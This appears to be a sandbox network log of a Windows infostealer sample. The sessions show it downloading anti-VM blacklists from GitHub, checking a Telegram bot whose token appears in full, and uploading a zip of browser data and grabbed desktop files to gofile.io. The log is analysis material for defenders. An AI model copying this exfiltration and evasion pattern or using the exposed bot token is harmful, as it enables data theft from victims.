4	192.168.2.12	49712	185.199.108.133	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:35 UTC	126	OUT	GET /6nz/virustotal-vm-blacklist/main/processes_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-11-29 11:18:35 UTC	896	IN	HTTP/1.1 200 OK Connection: close Content-Length: 31 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "b8ccbe01df84b6df59046ff7ef97fe02bbba9374a7a63f24d1c8a0b07083adca" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: F0F4:35108B:983CD:A6B92:67498FF6 Accept-Ranges: bytes Date: Fri, 29 Nov 2024 11:18:35 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740032-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1732879115.319081,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: a89db479dc84ac83e6bfa3205a48040cd3cb377f Expires: Fri, 29 Nov 2024 11:23:35 GMT Source-Age: 217
2024-11-29 11:18:35 UTC	31	IN	Data Raw: 56 6d 52 65 6d 6f 74 65 47 75 65 73 74 2e 65 78 65 0a 53 79 73 6d 6f 6e 36 34 2e 65 78 65 0a Data Ascii: VmRemoteGuest.exeSysmon64.exe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49717	185.199.108.133	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:35 UTC	123	OUT	GET /6nz/virustotal-vm-blacklist/main/MachineGuid.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-11-29 11:18:35 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1110 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "1224175461dce581d971884e2b8af67d12f105702cbcc56be1043ccc84319e42" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: AD0E:370AE7:92613:A0DDF:67498FF8 Accept-Ranges: bytes Date: Fri, 29 Nov 2024 11:18:35 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740071-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1732879115.362428,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 7c558fce216466ae0986629962c1ba825fe84e15 Expires: Fri, 29 Nov 2024 11:23:35 GMT Source-Age: 210
2024-11-29 11:18:35 UTC	1110	IN	Data Raw: 30 38 31 61 62 33 39 35 2d 35 65 38 35 2d 34 36 33 34 2d 61 63 64 62 2d 32 64 62 64 34 66 35 39 61 37 64 30 0a 30 38 39 65 36 32 31 63 2d 31 34 32 32 2d 34 38 35 36 2d 61 38 62 31 2d 33 66 31 64 62 32 30 38 63 65 39 65 0a 31 30 37 39 37 66 31 64 2d 39 36 31 33 2d 34 38 33 32 2d 62 31 61 33 2d 63 32 32 66 65 33 36 35 62 38 39 64 0a 31 35 39 34 37 38 30 32 2d 63 62 39 63 2d 34 37 38 66 2d 61 66 35 63 2d 33 33 62 31 61 62 62 64 31 62 66 65 0a 31 61 38 35 63 36 36 30 2d 31 66 39 38 2d 34 32 63 61 2d 62 31 63 62 2d 31 39 39 66 36 33 65 31 64 38 30 37 0a 32 62 35 33 36 35 66 31 2d 65 65 62 62 2d 34 31 33 35 2d 62 36 65 31 2d 34 31 33 61 61 62 32 39 39 66 63 62 0a 34 35 30 38 61 66 64 33 2d 35 66 30 35 2d 34 39 31 65 2d 62 34 39 66 2d 62 34 34 30 32 34 39 36 37 Data Ascii: 081ab395-5e85-4634-acdb-2dbd4f59a7d0089e621c-1422-4856-a8b1-3f1db208ce9e10797f1d-9613-4832-b1a3-c22fe365b89d15947802-cb9c-478f-af5c-33b1abbd1bfe1a85c660-1f98-42ca-b1cb-199f63e1d8072b5365f1-eebb-4135-b6e1-413aab299fcb4508afd3-5f05-491e-b49f-b44024967

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	49714	185.199.108.133	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:35 UTC	124	OUT	GET /6nz/virustotal-vm-blacklist/main/pc_name_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-11-29 11:18:35 UTC	897	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3145 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "72b0005e577398f4eb7596131aa14f87c4f7379acc30e24456d4830af5304467" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: E79B:24F1AE:A7DC9:B6584:67498FF6 Accept-Ranges: bytes Date: Fri, 29 Nov 2024 11:18:35 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890032-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1732879115.365187,VS0,VE11 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: de46bf7d2232485341c765ab1a7c3d056adc6f4a Expires: Fri, 29 Nov 2024 11:23:35 GMT Source-Age: 0
2024-11-29 11:18:35 UTC	1378	IN	Data Raw: 30 30 39 30 30 42 43 38 33 38 30 32 0a 30 30 39 30 30 42 43 38 33 38 30 33 0a 30 43 43 34 37 41 43 38 33 38 30 33 0a 31 38 43 39 41 43 44 46 2d 37 43 30 30 2d 34 0a 33 43 45 43 45 46 43 38 33 38 30 36 0a 36 43 34 45 37 33 33 46 2d 43 32 44 39 2d 34 0a 41 42 49 47 41 49 0a 41 43 45 50 43 0a 41 49 44 41 4e 50 43 0a 41 4c 45 4e 4d 4f 4f 53 2d 50 43 0a 41 4c 49 4f 4e 45 0a 41 50 50 4f 4e 46 4c 59 2d 56 50 53 0a 41 52 43 48 49 42 41 4c 44 50 43 0a 61 7a 75 72 65 0a 42 33 30 46 30 32 34 32 2d 31 43 36 41 2d 34 0a 42 41 52 4f 53 49 4e 4f 2d 50 43 0a 42 45 43 4b 45 52 2d 50 43 0a 42 45 45 37 33 37 30 43 2d 38 43 30 43 2d 34 0a 43 38 31 46 36 36 43 38 33 38 30 35 0a 43 41 54 57 52 49 47 48 54 0a 43 48 53 48 41 57 0a 43 4f 46 46 45 45 2d 53 48 4f 50 0a 43 4f 4d 50 Data Ascii: 00900BC8380200900BC838030CC47AC8380318C9ACDF-7C00-43CECEFC838066C4E733F-C2D9-4ABIGAIACEPCAIDANPCALENMOOS-PCALIONEAPPONFLY-VPSARCHIBALDPCazureB30F0242-1C6A-4BAROSINO-PCBECKER-PCBEE7370C-8C0C-4C81F66C83805CATWRIGHTCHSHAWCOFFEE-SHOPCOMP
2024-11-29 11:18:35 UTC	1378	IN	Data Raw: 46 4f 0a 44 45 53 4b 54 4f 50 2d 4c 54 4d 43 4b 4c 41 0a 44 45 53 4b 54 4f 50 2d 4d 4a 43 36 35 30 30 0a 44 45 53 4b 54 4f 50 2d 4d 57 46 52 56 4b 48 0a 44 45 53 4b 54 4f 50 2d 4e 41 4b 46 46 4d 54 0a 44 45 53 4b 54 4f 50 2d 4e 4b 50 30 49 34 50 0a 44 45 53 4b 54 4f 50 2d 4e 4d 31 5a 50 4c 47 0a 44 45 53 4b 54 4f 50 2d 4e 54 55 37 56 55 4f 0a 44 45 53 4b 54 4f 50 2d 4f 36 46 42 4d 46 37 0a 44 45 53 4b 54 4f 50 2d 4f 37 42 49 33 50 54 0a 44 45 53 4b 54 4f 50 2d 50 41 30 46 4e 56 35 0a 44 45 53 4b 54 4f 50 2d 50 4b 51 4e 44 53 52 0a 44 45 53 4b 54 4f 50 2d 51 4c 4e 32 56 55 46 0a 44 45 53 4b 54 4f 50 2d 51 55 41 59 38 47 53 0a 44 45 53 4b 54 4f 50 2d 52 43 41 33 51 57 58 0a 44 45 53 4b 54 4f 50 2d 52 48 58 44 4b 57 57 0a 44 45 53 4b 54 4f 50 2d 52 50 34 46 Data Ascii: FODESKTOP-LTMCKLADESKTOP-MJC6500DESKTOP-MWFRVKHDESKTOP-NAKFFMTDESKTOP-NKP0I4PDESKTOP-NM1ZPLGDESKTOP-NTU7VUODESKTOP-O6FBMF7DESKTOP-O7BI3PTDESKTOP-PA0FNV5DESKTOP-PKQNDSRDESKTOP-QLN2VUFDESKTOP-QUAY8GSDESKTOP-RCA3QWXDESKTOP-RHXDKWWDESKTOP-RP4F
2024-11-29 11:18:35 UTC	389	IN	Data Raw: 45 45 4c 35 33 53 4e 0a 57 49 4e 5a 44 53 2d 31 42 48 52 56 50 51 55 0a 57 49 4e 5a 44 53 2d 32 32 55 52 4a 49 42 56 0a 57 49 4e 5a 44 53 2d 33 46 46 32 49 39 53 4e 0a 57 49 4e 5a 44 53 2d 35 4a 37 35 44 54 48 48 0a 57 49 4e 5a 44 53 2d 36 54 55 49 48 4e 37 52 0a 57 49 4e 5a 44 53 2d 38 4d 41 45 49 38 45 34 0a 57 49 4e 5a 44 53 2d 39 49 4f 37 35 53 56 47 0a 57 49 4e 5a 44 53 2d 41 4d 37 36 48 50 4b 32 0a 57 49 4e 5a 44 53 2d 42 30 33 4c 39 43 45 4f 0a 57 49 4e 5a 44 53 2d 42 4d 53 4d 44 38 4d 45 0a 57 49 4e 5a 44 53 2d 42 55 41 4f 4b 47 47 31 0a 57 49 4e 5a 44 53 2d 4b 37 56 49 4b 34 46 43 0a 57 49 4e 5a 44 53 2d 4d 49 4c 4f 42 4d 33 35 0a 57 49 4e 5a 44 53 2d 50 55 30 55 52 50 56 49 0a 57 49 4e 5a 44 53 2d 51 4e 47 4b 47 4e 35 39 0a 57 49 4e 5a 44 53 2d Data Ascii: EEL53SNWINZDS-1BHRVPQUWINZDS-22URJIBVWINZDS-3FF2I9SNWINZDS-5J75DTHHWINZDS-6TUIHN7RWINZDS-8MAEI8E4WINZDS-9IO75SVGWINZDS-AM76HPK2WINZDS-B03L9CEOWINZDS-BMSMD8MEWINZDS-BUAOKGG1WINZDS-K7VIK4FCWINZDS-MILOBM35WINZDS-PU0URPVIWINZDS-QNGKGN59WINZDS-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	49718	149.154.167.220	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:40 UTC	121	OUT	GET /bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/getMe HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-29 11:18:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 29 Nov 2024 11:18:41 GMT Content-Type: application/json Content-Length: 261 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-29 11:18:41 UTC	261	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 37 33 39 32 37 33 36 34 31 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 5c 75 30 31 62 30 75 20 56 69 61 20 46 61 63 65 62 6f 6f 6b 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 75 75 76 69 61 5f 62 6f 74 22 2c 22 63 61 6e 5f 6a 6f 69 6e 5f 67 72 6f 75 70 73 22 3a 74 72 75 65 2c 22 63 61 6e 5f 72 65 61 64 5f 61 6c 6c 5f 67 72 6f 75 70 5f 6d 65 73 73 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 73 75 70 70 6f 72 74 73 5f 69 6e 6c 69 6e 65 5f 71 75 65 72 69 65 73 22 3a 66 61 6c 73 65 2c 22 63 61 6e 5f 63 6f 6e 6e 65 63 74 5f 74 6f 5f 62 75 73 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 68 61 73 5f 6d 61 69 6e 5f 77 65 62 5f 61 70 70 22 3a 66 Data Ascii: {"ok":true,"result":{"id":7392736411,"is_bot":true,"first_name":"L\u01b0u Via Facebook","username":"Luuvia_bot","can_join_groups":true,"can_read_all_group_messages":false,"supports_inline_queries":false,"can_connect_to_business":false,"has_main_web_app":f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.12	49722	45.112.123.126	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:48 UTC	70	OUT	GET /servers HTTP/1.1 Host: api.gofile.io Connection: Keep-Alive
2024-11-29 11:18:48 UTC	1116	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Fri, 29 Nov 2024 11:18:48 GMT Content-Type: application/json; charset=utf-8 Content-Length: 387 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Credentials: true Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 0 ETag: W/"183-8QifD2XmzNH+i5CvAVt5kwLY+WM"
2024-11-29 11:18:48 UTC	387	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 61 74 61 22 3a 7b 22 73 65 72 76 65 72 73 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 35 22 2c 22 7a 6f 6e 65 22 3a 22 65 75 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 31 30 22 2c 22 7a 6f 6e 65 22 3a 22 65 75 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 31 22 2c 22 7a 6f 6e 65 22 3a 22 65 75 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 32 22 2c 22 7a 6f 6e 65 22 3a 22 65 75 22 7d 5d 2c 22 73 65 72 76 65 72 73 41 6c 6c 5a 6f 6e 65 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 33 22 2c 22 7a 6f 6e 65 22 3a 22 6e 61 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 39 22 2c 22 7a 6f 6e 65 22 3a 22 6e 61 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 74 6f 72 65 38 22 2c 22 7a 6f 6e Data Ascii: {"status":"ok","data":{"servers":[{"name":"store5","zone":"eu"},{"name":"store10","zone":"eu"},{"name":"store1","zone":"eu"},{"name":"store2","zone":"eu"}],"serversAllZone":[{"name":"store3","zone":"na"},{"name":"store9","zone":"na"},{"name":"store8","zon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.12	49726	31.14.70.244	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:50 UTC	207	OUT	POST /uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary="686ae045-3350-483a-be65-d9e368970df2" Host: store5.gofile.io Content-Length: 153577 Expect: 100-continue Connection: Keep-Alive
2024-11-29 11:18:50 UTC	40	OUT	Data Raw: 2d 2d 36 38 36 61 65 30 34 35 2d 33 33 35 30 2d 34 38 33 61 2d 62 65 36 35 2d 64 39 65 33 36 38 39 37 30 64 66 32 0d 0a Data Ascii: --686ae045-3350-483a-be65-d9e368970df2
2024-11-29 11:18:50 UTC	123	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 66 69 6c 65 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 61 6c 62 75 73 40 31 32 34 34 30 36 5f 65 6e 2d 43 48 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 61 6c 62 75 73 25 34 30 31 32 34 34 30 36 5f 65 6e 2d 43 48 2e 7a 69 70 0d 0a 0d 0a Data Ascii: Content-Disposition: form-data; name=file; filename="user@124406_en-CH.zip"; filename*=utf-8''user%40124406_en-CH.zip
2024-11-29 11:18:50 UTC	4096	OUT	Data Raw: 50 4b 03 04 14 00 01 08 00 00 54 32 7d 59 00 00 00 00 0c 00 00 00 00 00 00 00 19 00 00 00 42 72 6f 77 73 65 72 73 2f 45 64 67 65 2f 48 69 73 74 6f 72 79 2e 74 78 74 93 95 31 d6 b8 67 12 88 b9 21 cd 85 50 4b 03 04 14 00 09 08 08 00 55 32 7d 59 71 80 43 5d 74 00 00 00 dc 00 00 00 1e 00 00 00 42 72 6f 77 73 65 72 73 2f 46 69 72 65 66 6f 78 2f 42 6f 6f 6b 6d 61 72 6b 73 2e 74 78 74 d9 36 1d 23 b5 ae dc ae 7a 2e 70 f4 94 0c 10 97 3a 1c 8d 73 b5 11 aa 89 6e 4a b2 6d 34 65 3c a7 a8 d7 90 e5 96 d8 df 95 33 3b b4 e0 d7 7e 8f fc 1b 27 09 a8 eb e6 52 75 a5 35 9e 18 29 ee fe 97 f3 00 2c 3f 7c c3 41 ae 62 60 84 7a 45 f8 78 3e 33 da ef 01 e1 02 29 de 07 45 79 19 43 fd 63 43 0e 0e 99 ee d4 ea dc fe 33 07 b1 ce f9 6d 45 28 1c 67 57 d2 50 4b 07 08 71 80 43 5d 74 00 00 00 Data Ascii: PKT2}YBrowsers/Edge/History.txt1g!PKU2}YqC]tBrowsers/Firefox/Bookmarks.txt6#z.p:snJm4e<3;~'Ru5),?\|Ab`zEx>3)EyCcC3mE(gWPKqC]t
2024-11-29 11:18:50 UTC	4096	OUT	Data Raw: 4e 10 b6 5a 7f 8d b8 b4 28 33 19 ac aa a4 33 17 1d c3 8f af df 50 4b 07 08 ef 61 47 0e 28 00 00 00 17 00 00 00 50 4b 03 04 14 00 09 08 08 00 70 43 45 57 41 d8 5d dc 93 02 00 00 02 04 00 00 32 00 00 00 47 72 61 62 62 65 72 2f 44 52 49 56 45 2d 43 2f 55 73 65 72 73 2f 61 6c 62 75 73 2f 44 65 73 6b 74 6f 70 2f 45 46 4f 59 46 42 4f 4c 58 41 2e 70 6e 67 13 d2 cf 40 52 38 aa e8 7a e1 80 3c ed 49 b6 05 e6 7e e7 e1 49 d2 41 63 da 18 19 0b bc db 49 7c f3 18 7c c2 05 a9 66 a0 bc e5 7d c0 71 24 d0 c3 22 9c 54 ec 37 33 dc 3a 2f df 2e 76 ab 16 9c 60 9a 48 df f4 58 fc f4 a3 b9 0a 66 db 56 06 b1 c8 4b a7 32 c6 31 1c e1 b9 72 f5 70 73 a8 08 4d e9 03 f5 40 6c 33 72 3c 63 62 55 ad b8 70 9a 47 ac 17 a7 de e3 b2 2a 78 25 f5 ca c4 f7 cc 27 dd 08 a2 8a dc ec 1a b8 98 75 91 00 Data Ascii: NZ(33PKaG(PKpCEWA]2Grabber/DRIVE-C/Users/user/Desktop/EFOYFBOLXA.png@R8z<I~IAcI\|\|f}q$"T73:/.v`HXfVK21rpsM@l3r<cbUpG*x%'u
2024-11-29 11:18:50 UTC	4096	OUT	Data Raw: fb 0f 37 ec 35 5e 15 04 32 a7 c1 7f 6d e0 f4 c7 99 c8 14 90 1e 57 63 24 09 9c d5 b0 1c 0b 76 1b 52 90 2f 55 3d 60 77 1d 69 1c 33 71 9f 00 da 38 90 43 81 ed 3a 10 ea 94 ae ea 09 36 fb ea 0c ac ac 66 c1 53 59 52 94 df 28 99 5b 7a 84 98 e1 18 80 7f f2 e4 e8 cd d1 64 d1 07 84 6f 37 3f c5 15 9b 9d 3a 92 de cc 7f 94 03 ca fd be 8e a7 8d c8 ca 6d 53 42 aa dc 5b 00 9e 11 73 35 ee 44 64 0b ce ce a4 c7 2c a8 04 2d eb 4c a6 6e 24 dd 65 08 c7 40 fa eb 7c 74 81 32 10 f3 a1 77 8a 9d 0f 8b b3 af 73 f1 e9 97 ef e5 48 c0 a8 3c e2 87 78 e5 29 06 e7 50 bf a2 2a 89 50 8b be 05 e0 b1 d5 72 68 4f 7c c6 73 0c 7a af 11 c3 e2 3b 66 cb f0 cb 55 5a e2 cc b7 04 9a 2a af 86 49 2b 74 72 c6 e0 4a e5 d4 31 76 d8 35 a6 f5 2b 27 73 56 8c 7a ff 96 00 26 86 e7 c6 12 3e 6f 6a 33 a5 e7 ed 3b Data Ascii: 75^2mWc$vR/U=`wi3q8C:6fSYR([zdo7?:mSB[s5Dd,-Ln$e@\|t2wsH<x)PPrhO\|sz;fUZI+trJ1v5+'sVz&>oj3;
2024-11-29 11:18:50 UTC	4096	OUT	Data Raw: cc 78 aa c1 81 af 25 30 17 41 bc e3 f9 34 c7 af 07 3e 2b 58 3b 28 c4 4a 05 44 6c af 2d d0 7a 65 03 8f 1e 78 04 51 86 c2 79 63 f7 bf a3 1a 42 d0 49 1d 67 1a e3 62 8d 39 66 33 2a f9 45 65 72 12 30 7d f3 b5 e0 a7 a4 19 ff ff 44 92 8d a1 77 be 1b 05 8a a1 de db 90 90 de 4b 76 fa a1 15 bb 81 0e 99 97 df 2e 2c 8e c5 c8 85 9a 19 83 23 2e b5 71 9a a6 ae 13 51 cf b6 c6 8a d3 9b 08 2e 40 c0 eb 38 30 e5 75 a4 2e 34 86 b7 40 b6 a7 50 4b 07 08 21 21 bf d3 93 02 00 00 02 04 00 00 50 4b 03 04 14 00 09 08 08 00 70 43 45 57 52 4a cc 0f 92 02 00 00 02 04 00 00 32 00 00 00 47 72 61 62 62 65 72 2f 44 52 49 56 45 2d 43 2f 55 73 65 72 73 2f 61 6c 62 75 73 2f 44 65 73 6b 74 6f 70 2f 53 51 53 4a 4b 45 42 57 44 54 2e 6a 70 67 6a 20 7e 5b b1 52 0b 3d 47 30 b5 28 35 22 65 7b 52 d1 Data Ascii: x%0A4>+X;(JDl-zexQycBIgb9f3*Eer0}DwKv.,#.qQ.@80u.4@PK!!PKpCEWRJ2Grabber/DRIVE-C/Users/user/Desktop/SQSJKEBWDT.jpgj ~[R=G0(5"e{R
2024-11-29 11:18:50 UTC	4096	OUT	Data Raw: e8 a0 ea 88 4c 79 02 4c da fd 46 6e 9b 84 4b 5c e8 7c 44 97 95 39 8b b8 8c fe 9b ca ff ab ae 93 d2 f7 a1 e9 f0 f9 92 04 f4 41 40 70 34 42 21 ae e8 fe 5b 3e e2 ff 80 7a b2 57 13 d6 cc 77 33 14 ae 7d 96 3c df 08 04 b2 ed 48 0c 03 ac 72 6d ce 39 bb 64 f6 57 f9 45 2e d4 b6 c5 8c a5 9f e4 36 79 88 f1 87 10 fa 8d e2 d7 15 e9 98 74 44 a3 6c 44 60 0e ba 2b a6 3b 8a ed 88 42 d3 ec 6c e6 e8 c0 64 48 68 d8 54 56 0c dc 7c b7 53 cb 23 4e 64 b2 10 96 db 66 ee 50 e1 7f 66 68 a9 f6 7b e7 83 22 50 dd 0b f2 f3 b1 aa 30 ae 9b a3 2a 06 b1 47 60 20 9e 48 ae c5 6a 9b bc d7 e1 56 cf 12 3f ba 63 f2 57 f8 1c 0a 58 d1 40 2f 22 32 d0 5e 0e 09 5e 47 e4 04 c3 a7 2e 6c 17 30 7f 8b 7f 2c a1 27 ca 9a dc ad 2d 97 2b dd 5b 70 cc 1e 0a ba ac a4 c4 79 52 9f 79 40 ee a1 25 d5 32 29 16 5f a8 Data Ascii: LyLFnK\\|D9A@p4B![>zWw3}<Hrm9dWE.6ytDlD`+;BldHhTV\|S#NdfPfh{"P0*G` HjV?cWX@/"2^^G.l0,'-+[pyRy@%2)_
2024-11-29 11:18:50 UTC	4096	OUT	Data Raw: db 6f a9 67 77 a8 bd c6 09 69 ad 54 cf dd 6f 7c 5d 4d 70 69 bb 90 2a 60 12 f2 b5 d1 0a 67 e0 57 ed 0c 00 3a 99 14 6f ed 77 ee 57 e1 eb 17 1c e3 94 56 33 83 34 0d 12 65 ed 57 d8 92 91 b8 d6 fc 29 e3 f6 16 ae e0 60 b3 8f 05 fe 47 57 1b e5 65 f3 91 d5 b5 ba b0 38 81 01 bc 3c f9 56 47 b8 be fd 46 36 b1 5d b9 4a 07 98 23 6d cf 06 46 72 f0 cd c2 b8 09 af 62 52 a5 38 53 01 fc fb 88 4d ec 49 be 49 a7 79 a3 36 df 80 85 55 ab 59 92 ed 5e 23 f2 6e 38 a7 ab de a1 15 3f ce f0 a5 60 8f 5e 6d 7d 5a 0f 33 3a d5 9d 5f d6 fa 7c 49 05 7c af 67 71 61 0c 87 cc e2 8d 28 8e 30 04 5e b2 e2 b2 37 ce 70 1b fd 72 03 1e 5d 67 a6 7b 04 fc 92 25 5d 5a 72 37 63 c5 54 62 02 87 5c 45 2b f6 b8 11 32 9e df 9f 1c 8f cb 07 c4 2f b9 70 24 fb 93 02 00 cf a0 a4 78 34 4d 78 0c 58 49 0f 1c b0 71 Data Ascii: ogwiTo\|]Mpi*`gW:owWV34eW)`GWe8<VGF6]J#mFrbR8SMIIy6UY^#n8?`^m}Z3:_\|I\|gqa(0^7pr]g{%]Zr7cTb\E+2/p$x4MxXIq
2024-11-29 11:18:50 UTC	4096	OUT	Data Raw: c6 36 c6 53 bc 08 29 62 57 bc b3 7e 3c 73 63 52 85 7d 40 92 f2 d5 ec 21 e5 9f 4f 5b da 53 6f 29 f2 36 ba c6 96 b8 09 e1 0f 91 a1 30 c7 3b 22 ac 63 4a 6e f9 87 50 c1 d5 82 f4 ae 13 9e ef ca 61 e0 62 50 4b 07 08 cd c1 ac d8 93 02 00 00 02 04 00 00 50 4b 03 04 14 00 09 08 08 00 70 43 45 57 94 e2 4b 0f 94 02 00 00 02 04 00 00 3d 00 00 00 47 72 61 62 62 65 72 2f 44 52 49 56 45 2d 43 2f 55 73 65 72 73 2f 61 6c 62 75 73 2f 44 65 73 6b 74 6f 70 2f 4e 45 42 46 51 51 59 57 50 53 2f 50 57 43 43 41 57 4c 47 52 45 2e 6a 70 67 14 fa bf 89 90 c6 d4 8a 6a d3 4d 8e cf 3c 3a 1e cc e9 2b 24 dc 65 18 23 7b f0 5f 13 2c f0 e0 39 31 e4 90 f1 4b d1 e1 8e c1 50 87 21 5f 6f 51 e4 fd 06 cd 76 e1 a2 68 3e d6 7c 3d d2 65 a5 58 3c 73 80 3b 2a 21 2c 8a cb 9d cc e5 2b 6a 11 17 b0 6d 5c Data Ascii: 6S)bW~<scR}@!O[So)60;"cJnPabPKPKpCEWK=Grabber/DRIVE-C/Users/user/Desktop/NEBFQQYWPS/PWCCAWLGRE.jpgjM<:+$e#{_,91KP!_oQvh>\|=eX<s;*!,+jm\
2024-11-29 11:18:50 UTC	4096	OUT	Data Raw: c2 4b 03 3d 05 35 f5 1f 38 cc f5 de de e3 23 95 f8 47 fe 43 14 d9 03 50 74 a3 f6 21 51 47 29 ac b1 54 4a 21 3c 00 8e d0 37 0f 9e 27 16 78 84 c9 a7 0b 32 20 90 fb d1 59 e2 e1 e9 fe b9 2b ca 03 b2 01 28 bc 19 98 f0 7c 98 16 b5 ea 6f 0b 22 05 4b 58 44 7c 98 73 77 4b 8c 26 7e da 4d b5 6e 8a fc 3a cc 9f 03 08 fb 3a 8f c5 bb 1c 72 84 6f f0 a4 d2 15 d8 1c d2 bf 4c d2 0c 22 9c ff a0 a1 a5 67 a1 1b de 6a 97 bd 5b e8 42 8e fe 94 7c 3b 6f 19 89 84 db 37 df 79 2e 49 9b b3 ba 4c e8 3a ef eb 12 9b 75 ef 50 15 94 ee 0c f5 4a 2d b2 66 44 42 c1 9e 61 08 76 ad df 5f 22 be 18 f9 16 87 e1 e9 5b c1 e5 aa d7 3f 1c 75 0d c2 b0 a0 67 33 72 c5 fc 7b 1b bd aa 90 44 5a 19 46 a0 0f 56 71 5a 52 d3 6f 1d 19 b4 92 43 30 60 45 a0 83 97 5c 0b 89 85 2e e5 6c f5 9a 35 b2 43 97 8c 6c ba f5 Data Ascii: K=58#GCPt!QG)TJ!<7'x2 Y+(\|o"KXD\|swK&~Mn::roL"gj[B\|;o7y.IL:uPJ-fDBav_"[?ug3r{DZFVqZRoC0`E\.l5Cl
2024-11-29 11:18:51 UTC	25	IN	HTTP/1.1 100 Continue
